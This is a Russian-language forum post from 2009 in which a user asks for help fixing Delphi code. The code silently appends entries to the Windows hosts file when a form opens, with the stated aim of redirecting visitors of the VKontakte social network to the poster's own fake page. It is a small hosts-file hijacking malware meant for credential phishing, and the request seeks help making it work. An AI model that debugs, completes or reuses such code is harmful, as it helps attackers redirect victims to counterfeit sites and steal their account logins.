24.10.2009, 13:49
|
|
Познающий
Регистрация: 25.09.2008
Сообщений: 56
С нами:
9277079
Репутация:
38
|
|
Редирект [DELPHI]
Сдравствуйте уважаемые форумчане.
В делфи надо сделать редирект с контакта на мой фейк, через редактирование файла host.
Код:
procedure TForm1.FormActivate(Sender: TObject);
var f:textfile;
begin
assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'\system32\drivers\etc\hosts');
append(f);
writeln(f,'ip www.site.ru');
writeln(f,'ip site.ru');
closefile(f);
end;
Что не правильно? Помогите решить наболевший вопрос! |
|
|